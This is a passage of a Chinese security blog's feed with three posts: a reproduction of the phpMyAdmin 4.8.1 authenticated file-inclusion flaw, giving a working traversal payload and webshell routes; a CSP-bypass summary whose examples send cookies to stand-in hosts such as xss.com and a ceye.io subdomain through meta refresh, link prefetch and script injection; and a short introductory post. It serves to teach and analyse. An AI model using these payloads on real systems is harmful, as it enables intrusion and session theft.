        &lt;p&gt;周末看了看GoogleCTF的beginner题目，感觉有些题目还不错，这里就先分析其中一道题JS Safe。&lt;/p&gt;
&lt;h2 id=&quot;题目&quot;&gt;&lt;a href=&quot;#题目&quot; class=&quot;headerlink&quot; title=&quot;题目&quot;&gt;&lt;/a&gt;题目&lt;/h2&gt;&lt;img src=&quot;
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CTF" scheme="https://hurricane618.me/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title>phpmyadmin4.8.1 后台LFI</title>
    <link href="https://hurricane618.me/2018/07/01/phpmyadmin4-8-1-background-LFI/"/>
    <id>https://hurricane618.me/2018/07/01/phpmyadmin4-8-1-background-LFI/</id>
    <published>2018-07-01T13:02:15.000Z</published>
    <updated>2018-08-14T16:34:50.000Z</updated>
    
    <content type="html"><![CDATA[<p>之前ChaMd5团队报出来的phpmyadmin的文件包含漏洞，今天就来分析复现一下。</p><h2 id="分析"><a href="#分析" class="headerlink" title="分析"></a>分析</h2><img src="/2018/07/01/phpmyadmin4-8-1-background-LFI/1.png"><p>漏洞的输入点是 <code>include $_REQUEST[&#39;target&#39;];</code>出现了文件包含这种危险操作，那么有很大概率出现问题。</p><p>我们只要绕过57、58、59行的检测就可以成功控制包含文件。</p><p>第57行用正则匹配开头为index的路径，只要路径开头没有index即可。</p><p>第58行检索输入中是否有黑名单的字符，黑名单在第50行，可以看到 import.php和export.php，只要参数中没这两个php就行。</p><p>第59行要看Core类的方法checkPageValidity。</p><img src="/2018/07/01/phpmyadmin4-8-1-background-LFI/2.png"><p>第452行的第三个if判断，检查了输入中的白名单，如果有这些php就直接返回true。</p><img src="/2018/07/01/phpmyadmin4-8-1-background-LFI/3.png"><p>没什么用，继续看下面的操作。mb_substr截取字符串从开始的位置到?处的字符串，再次检索白名单。</p><p>虽然可以在url中加入?来通过这个判断，但是随后的include因为有?，所以就无法包含我们控制的文件。</p><p>之后，重点来了，在465行出现了一个url解码操作。由于这里解码之后又重复了一遍上面的截取操作，所以这里我们就可以让?编码两次来绕过白名单检测，之后返回到include的时候也能包含我们想要的文件。最后的payload如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">127.0.0.1/phpmyadmin/index.php?target=db_sql.php%253f/../../../../../tongfang.txt</span><br></pre></td></tr></table></figure><p>db_sql.php是白名单中的一个，然后用两次URl编码过的?截断，两次URL编码的?在php的urldecode后会变成?，从而绕过检测，之后include文件时，服务器会认为db_sql.php%3f是一个目录，然后包含最后的文件。</p><img src="/2018/07/01/phpmyadmin4-8-1-background-LFI/4.png"><h2 id="利用"><a href="#利用" class="headerlink" title="利用"></a>利用</h2><ol><li>利用创建新的表，在表的字段中放入Webshell，然后包含数据库文件</li><li>执行<code>SELECT &#39;&lt;?php phpinfo(); ?&gt;&#39;</code>,然后包含php的session文件</li></ol><p>推荐用第二种方法更加隐蔽并且不需要猜测数据库文件路径，效果如下：</p><img src="/2018/07/01/phpmyadmin4-8-1-background-LFI/5.png"><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>总的来说这个漏洞需要在登录phpmyadmin之后才能利用，所以只要密码强度够，暂时就不会有太大危险，但还是推荐尽快升级。另外如果是在session中写了Webshell，用菜刀连的时候必须要有phpmyadmin的session才行……</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><p><a href="https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&amp;mid=2247485036&amp;idx=1&amp;sn=8e9647906c5d94f72564dec5bc51a2ab&amp;chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&amp;mpshare=1&amp;scene=23&amp;srcid=0701Pk3Qg7hDrUSsZWD5dffq#rd" target="_blank" rel="noopener">ChaMd5的文章</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;之前ChaMd5团队报出来的phpmyadmin的文件包含漏洞，今天就来分析复现一下。&lt;/p&gt;
&lt;h2 id=&quot;分析&quot;&gt;&lt;a href=&quot;#分析&quot; class=&quot;headerlink&quot; title=&quot;分析&quot;&gt;&lt;/a&gt;分析&lt;/h2&gt;&lt;img src=&quot;/2018/07/01/
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="PHP" scheme="https://hurricane618.me/tags/PHP/"/>
    
      <category term="代码审计" scheme="https://hurricane618.me/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
  </entry>
  
  <entry>
    <title>CSP绕过总结</title>
    <link href="https://hurricane618.me/2018/06/30/csp-bypass-summary/"/>
    <id>https://hurricane618.me/2018/06/30/csp-bypass-summary/</id>
    <published>2018-06-30T03:33:01.000Z</published>
    <updated>2018-08-14T16:35:28.000Z</updated>
    
    <content type="html"><![CDATA[<p>首发在信安之路上 <a href="https://mp.weixin.qq.com/s/z_XmhrTUg_yUfkyAFFfaKQ" target="_blank" rel="noopener">https://mp.weixin.qq.com/s/z_XmhrTUg_yUfkyAFFfaKQ</a> ，之后文章略有修改。</p><h1 id="CSP绕过总结"><a href="#CSP绕过总结" class="headerlink" title="CSP绕过总结"></a>CSP绕过总结</h1><p>今年的0CTF预选赛6道web题，其中三道都涉及CSP的知识点，简直可怕。。。这次趁着空闲时间就稍稍总结一下CSP绕过方面的知识，无论是对以后CTF比赛还是工作都很有帮助。</p><h2 id="CSP的基础"><a href="#CSP的基础" class="headerlink" title="CSP的基础"></a>CSP的基础</h2><p>CSP的全称Content Security Policy，用来防御XSS攻击的技术。它是一种由开发者定义的安全性政策性申明，通过CSP指定可信的内容来源，让WEB处于一个安全的运行环境中。</p><p>一个CSP头由多组CSP策略组成，中间由分号分隔,如下所示：</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Content-Security-Policy</span>: default-src 'self' www.baidu.com; script-src 'unsafe-inline'</span><br></pre></td></tr></table></figure><p>其中每一组策略包含一个策略指令和一个内容源列表。策略指令有如下选项：</p><table><thead><tr><th>指令</th><th>说明</th></tr></thead><tbody><tr><td>default-src</td><td>定义资源默认加载策略</td></tr><tr><td>connect-src</td><td>定义 Ajax、WebSocket 等加载策略</td></tr><tr><td>font-src</td><td>定义 Font 加载策略</td></tr><tr><td>frame-src</td><td>定义 Frame 加载策略</td></tr><tr><td>img-src</td><td>定义图片加载策略</td></tr><tr><td>media-src</td><td>定义 \&lt;audio>、\&lt;video> 等引用资源加载策略</td></tr><tr><td>object-src</td><td>定义 \&lt;applet>、\&lt;embed>、\&lt;object> 等引用资源加载策略</td></tr><tr><td>script-src</td><td>定义 JS 加载策略</td></tr><tr><td>style-src</td><td>定义 CSS 加载策略</td></tr><tr><td>sandbox</td><td>值为 allow-forms，对资源启用 sandbox</td></tr><tr><td>report-uri</td><td>值为 /report-uri，提交日志</td></tr></tbody></table><p>内容源有如下选项：</p><table><thead><tr><th>源</th><th>说明</th></tr></thead><tbody><tr><td>*</td><td>通配符，允许任何URL，除了data: blob: filesystem: schemes</td></tr><tr><td>*.foo.com</td><td>允许加载foo.com子域的资源</td></tr><tr><td>abc.foo.com</td><td>只能加载这个域名下的资源</td></tr><tr><td><a href="https://a.com" target="_blank" rel="noopener">https://a.com</a></td><td>只能用HTTPS加载域名下的资源</td></tr><tr><td>https:</td><td>通过HTTPS可以加载任意域名下的资源</td></tr><tr><td>‘none’</td><td>代表空集,即不匹配任何URL,两侧单引号是必须的</td></tr><tr><td>‘self’</td><td>代表和文档同源,包括相同的URL协议和端口号,两侧单引号是必须的</td></tr><tr><td>‘unsafe-inline’</td><td>允许使用内联资源,如内联的\&lt;script>元素、javascript: URL、内联的事件处理函数和内联的\&lt;style>元素,两侧单引号是必须的</td></tr><tr><td>‘unsafe-eval’</td><td>允许使用 eval() 等通过字符串创建代码的方法,两侧单引号是必须的</td></tr><tr><td>data:</td><td>允许data: URI作为内容来源</td></tr><tr><td>mediastream:</td><td>允许mediastream: URI作为内容来源</td></tr></tbody></table><p>内容源有三种：源列表、关键字和数据，其中<em>，</em>.foo.com，abc.foo.com，<a href="https://a.com" target="_blank" rel="noopener">https://a.com</a> ，https:属于源列表。’none’，’self’，’unsafe-inline’，’unsafe-eval’属于关键字。data:，mediastream:属于数据。</p><p>例子1</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Content-Security-Policy</span>: default-src 'self' trustedscripts.foo.com</span><br></pre></td></tr></table></figure><p>意思就是默认的内容源必须为同源或者是 trustedscripts.foo.com</p><p>例子2</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Content-Security-Policy</span>: default-src 'self'; img-src 'self' data:; media-src mediastream:</span><br></pre></td></tr></table></figure><p>图片源可以为同源内容或者是data:引用的资源，媒体源必须使用mediastream:引用，除此以外的都执行默认内容源判断，必须为同源内容。更加详细的可以看</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://lorexxar.cn/2016/08/08/ccsp/</span><br></pre></td></tr></table></figure><p>一个在线的CSP头部生成器可以帮助我们深入理解</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://www.cspisawesome.com</span><br></pre></td></tr></table></figure><p>一个CSP安全检测网站，能够提供一些参考</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://csp-evaluator.withgoogle.com/</span><br></pre></td></tr></table></figure><h2 id="CSP的进化–nonce-script-CSP和strict-dynamic"><a href="#CSP的进化–nonce-script-CSP和strict-dynamic" class="headerlink" title="CSP的进化–nonce script CSP和strict-dynamic"></a>CSP的进化–nonce script CSP和strict-dynamic</h2><p>这是Google团队2016年在<a href="https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/45542.pdf" target="_blank" rel="noopener">CSP is Dead, Long live CSP</a>中正式提出的CSP种类，为了解决CSP爆出的各种各样的问题。</p><h3 id="nonce-script-CSP"><a href="#nonce-script-CSP" class="headerlink" title="nonce script CSP"></a>nonce script CSP</h3><p>动态生成nonce字符串，只有包含nonce字段并字符串相等的script块可以被执行</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">Header(<span class="string">"Content-Security-Policy: script-src 'nonce-"</span>.$random.<span class="string">" '"</span>);</span><br><span class="line"><span class="meta">?&gt;</span></span><br><span class="line">&lt;script nonce=<span class="string">"&lt;?php echo $random?&gt;"</span>&gt;</span><br></pre></td></tr></table></figure><p>这个字符串可以在后端实现，每次请求都重新生成，这样就可以无视哪个域是可信的，保证所加载的任何资源都是可信的，并且还能拦截后面插入的script。</p><h3 id="strict-dynamic"><a href="#strict-dynamic" class="headerlink" title="strict-dynamic"></a>strict-dynamic</h3><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Content-Security-Policy</span>: default-src 'self'; script-src 'strict-dynamic'</span><br></pre></td></tr></table></figure><p>SD意味着可信js生成的js代码是可信的。</p><p>这个CSP规则主要是用来适应各种各样的现代前端框架，通过这个规则，可以大幅度避免因为适应框架而变得松散的CSP规则。</p><h2 id="CSP-Bypass的方法总结"><a href="#CSP-Bypass的方法总结" class="headerlink" title="CSP Bypass的方法总结"></a>CSP Bypass的方法总结</h2><p>CSP对前端攻击的防御主要有两个：</p><ol><li>限制js的执行。</li><li>限制对不可信域的请求。</li></ol><p>接下来的多种Bypass手段也是围绕这两种的</p><h3 id="url跳转"><a href="#url跳转" class="headerlink" title="url跳转"></a>url跳转</h3><p>利用url跳转，回避严格的CSP。</p><p>在default-src ‘none’的情况下，可以使用meta标签实现跳转</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">meta</span> <span class="attr">http-equiv</span>=<span class="string">"refresh"</span> <span class="attr">content</span>=<span class="string">"1;url=http://www.xss.com/x.php?c=[cookie]"</span> &gt;</span></span><br></pre></td></tr></table></figure><p>在允许unsafe-inline的情况下，可以用window.location，或者window.open之类的方法进行跳转绕过</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined"></span></span><br><span class="line"><span class="javascript">  <span class="built_in">window</span>.location=<span class="string">"http://www.xss.com/x.php?c=[cookie]"</span>;</span></span><br><span class="line"><span class="undefined"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>\&lt;a>标签配合站内的某些可控JS点击操作来跳转</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span>&gt;</span><span class="undefined"></span></span><br><span class="line"><span class="undefined">  $(#foo).click()</span></span><br><span class="line"><span class="undefined"></span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">a</span> <span class="attr">id</span>=<span class="string">"foo"</span> <span class="attr">href</span>=<span class="string">"xxxxx.com"</span>&gt;</span></span><br></pre></td></tr></table></figure><p>利用网站本身的跳转接口</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://foo.com/jmp.php?url=attack.com</span><br></pre></td></tr></table></figure><h3 id="lt-link-标签预加载"><a href="#lt-link-标签预加载" class="headerlink" title="\&lt;link>标签预加载"></a>\&lt;link>标签预加载</h3><p>CSP对link标签的预加载功能考虑不完善。在Chrome下，可以使用如下标签发送cookie或者其他数据</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">"prefetch"</span> <span class="attr">href</span>=<span class="string">"http://www.xss.com/x.php?c=[cookie]"</span>&gt;</span></span><br></pre></td></tr></table></figure><p>在Firefox下无法用prefetch，因为Firefox有更高的安全规范，但是我们可以使用其他的方式，比如dns-prefetch，将cookie作为子域名，用dns预解析的方式把cookie带出去，查看dns服务器的日志就能得到cookie</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">"dns-prefetch"</span> <span class="attr">href</span>=<span class="string">"//[cookie].xxx.ceye.io"</span>&gt;</span></span><br></pre></td></tr></table></figure><p>link标签除了这两种rel，还有preconnect、prerender、subresource、preload等</p><h3 id="利用浏览器补全"><a href="#利用浏览器补全" class="headerlink" title="利用浏览器补全"></a>利用浏览器补全</h3><p>有些网站限制只有某些脚本才能使用，往往会使用\&lt;script>标签的nonce属性，只有nonce一致的脚本才生效，比如CSP设置成下面这样</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Content-Security-Policy</span>: default-src 'none';script-src 'nonce-abc'</span><br></pre></td></tr></table></figure><p>那么当脚本插入点为如下的情况时</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span>插入点<span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">nonce</span>=<span class="string">"abc"</span>&gt;</span><span class="javascript"><span class="built_in">document</span>.write(<span class="string">'CSP'</span>);</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><p>可以插入</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">//attack.com</span> <span class="attr">a</span>=<span class="string">"</span></span></span><br></pre></td></tr></table></figure><p>这里利用浏览器的容错机制会拼成一个新的script标签，其中的src可以自由设定</p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">p</span>&gt;</span><span class="tag">&lt;<span class="name">script</span> <span class="attr">src</span>=<span class="string">//attack.com</span> <span class="attr">a</span>=<span class="string">"&lt;/p&gt;</span></span></span><br><span class="line"><span class="tag"><span class="string">&lt;script"</span> <span class="attr">nonce</span>=<span class="string">"abc"</span>&gt;</span><span class="javascript"><span class="built_in">document</span>.write(<span class="string">'CSP'</span>);</span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="利用DOM-XSS"><a href="#利用DOM-XSS" class="headerlink" title="利用DOM XSS"></a>利用DOM XSS</h3><p>如果JS存在操作location.hash导致的XSS，那么这样的攻击请求不会经过后台，那么nonce后的随机值就不会刷新。可以见下面lorexxar师傅的博文</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://lorexxar.cn/2017/05/16/nonce-bypass-script/</span><br></pre></td></tr></table></figure><p>如果有DOM操作可以插入HTML并且可以控制插入的HTML内容，那么也可以绕过CSP</p><h3 id="利用CSS-静态xss-获取nonce值"><a href="#利用CSS-静态xss-获取nonce值" class="headerlink" title="利用CSS 静态xss 获取nonce值"></a>利用CSS 静态xss 获取nonce值</h3><p>利用CSS选择器来逐字节获取信息，^=从头部判断</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">*<span class="selector-attr">[attribute^="a"]</span>&#123;<span class="attribute">background</span>:<span class="built_in">url</span>(<span class="string">"record?match=a"</span>)&#125;</span><br><span class="line">*<span class="selector-attr">[attribute^="b"]</span>&#123;<span class="attribute">background</span>:<span class="built_in">url</span>(<span class="string">"record?match=b"</span>)&#125;</span><br><span class="line">*<span class="selector-attr">[attribute^="c"]</span>&#123;<span class="attribute">background</span>:<span class="built_in">url</span>(<span class="string">"record?match=c"</span>)&#125;</span><br></pre></td></tr></table></figure><p>比如确定第一位为c，那么就会继续下面的步骤</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">*<span class="selector-attr">[attribute^="ca"]</span>&#123;<span class="attribute">background</span>:<span class="built_in">url</span>(<span class="string">"record?match=ca"</span>)&#125;</span><br><span class="line">*<span class="selector-attr">[attribute^="cb"]</span>&#123;<span class="attribute">background</span>:<span class="built_in">url</span>(<span class="string">"record?match=cb"</span>)&#125;</span><br><span class="line">*<span class="selector-attr">[attribute^="cc"]</span>&#123;<span class="attribute">background</span>:<span class="built_in">url</span>(<span class="string">"record?match=cc"</span>)&#125;</span><br></pre></td></tr></table></figure><p>由于是CSS的变化，没有引起服务器重新请求，所以nonce的值不会改变，偷取值后即可执行我们的script</p><h3 id="利用跨域传输数据"><a href="#利用跨域传输数据" class="headerlink" title="利用跨域传输数据"></a>利用跨域传输数据</h3><p>利用一些跨域传输的方法来引入JS，导致执行</p><p>具体的可以看看呆子不开口的乌云大会PPT</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http://pan.baidu.com/s/1pLCfCWr</span><br></pre></td></tr></table></figure><p>和0CTF2018预选赛中的h4xors.club2</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://lorexxar.cn/2018/04/10/0ctf2018-club2/</span><br></pre></td></tr></table></figure><h3 id="利用文件上传执行JS"><a href="#利用文件上传执行JS" class="headerlink" title="利用文件上传执行JS"></a>利用文件上传执行JS</h3><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">Content-Security-Policy</span>: default-src 'self'; script-src 'self'</span><br></pre></td></tr></table></figure><p>针对只能加载同域下script的CSP策略，如果有上传点可以控制，那么可以在其中夹杂js代码，然后引用该文件完成执行。</p><p>可以参考前几天梅子酒师傅写的上传Wave文件绕过CSP，执行JS</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">https://mp.weixin.qq.com/s/ljBB5jStB7fcJq4cgdWnnw</span><br></pre></td></tr></table></figure><h3 id="base标签"><a href="#base标签" class="headerlink" title="base标签"></a>base标签</h3><p>利用base标签改变资源加载的域，从而引入恶意的js，造成js执行</p><h2 id="结语"><a href="#结语" class="headerlink" title="结语"></a>结语</h2><p>可以看到CSP的绕过比较看重实际场景，不同的情况下有着不同的绕过方法。</p><p>作者能力有限，如果文章中有什么问题，欢迎交流。最后，恭喜RNG！</p><h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">https://lorexxar.cn/2017/05/09/CSP%20Is%20Dead,%20Long%20Live%20CSP!%20On%20the%20Insecurity%20of%20Whitelists%20and%20the%20Future%20of%20Content%20Security%20Policy/</span><br><span class="line"></span><br><span class="line">https://lorexxar.cn/2017/10/25/csp-paper/#0x02-CSP%EF%BC%88Content-Security-Policy%EF%BC%89</span><br><span class="line"></span><br><span class="line">https://www.jianshu.com/p/f1de775bc43e</span><br><span class="line"></span><br><span class="line">https://paper.seebug.org/91/</span><br><span class="line"></span><br><span class="line">http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html</span><br><span class="line"></span><br><span class="line">https://lorexxar.cn/2017/05/16/nonce-bypass-script/</span><br><span class="line"></span><br><span class="line">https://lorexxar.cn/2016/08/08/ccsp/</span><br></pre></td></tr></table></figure>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;首发在信安之路上 &lt;a href=&quot;https://mp.weixin.qq.com/s/z_XmhrTUg_yUfkyAFFfaKQ&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://mp.weixin.qq.com/s/z_XmhrTUg_
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="CSP" scheme="https://hurricane618.me/tags/CSP/"/>
    
      <category term="XSS" scheme="https://hurricane618.me/tags/XSS/"/>
    
  </entry>
  
  <entry>
    <title>新的开始</title>
    <link href="https://hurricane618.me/2018/06/26/new-start/"/>
    <id>https://hurricane618.me/2018/06/26/new-start/</id>
    <published>2018-06-26T03:10:58.000Z</published>
    <updated>2018-07-19T01:05:30.000Z</updated>
    
    <content type="html"><![CDATA[<p>之前的博客荒废掉了，所以在github上开一个新的博客希望能够坚持下去吧。也不讲太多矫情的话了，撸起袖子就是肝。</p><p>一开始会更新的比较慢，hexo的博客还需要一段时间适应，之后会逐渐加快。</p><img src="/2018/06/26/new-start/67863722_p0.png">]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;之前的博客荒废掉了，所以在github上开一个新的博客希望能够坚持下去吧。也不讲太多矫情的话了，撸起袖子就是肝。&lt;/p&gt;
&lt;p&gt;一开始会更新的比较慢，hexo的博客还需要一段时间适应，之后会逐渐加快。&lt;/p&gt;
&lt;img src=&quot;/2018/06/26/new-start/
      
    
    </summary>
    
      <category term="杂谈" scheme="https://hurricane618.me/categories/%E6%9D%82%E8%B0%88/"/>
    
    
      <category term="闲聊" scheme="https://hurricane618.me/tags/%E9%97%B2%E8%81%8A/"/>
    
  </entry>
  
</feed>
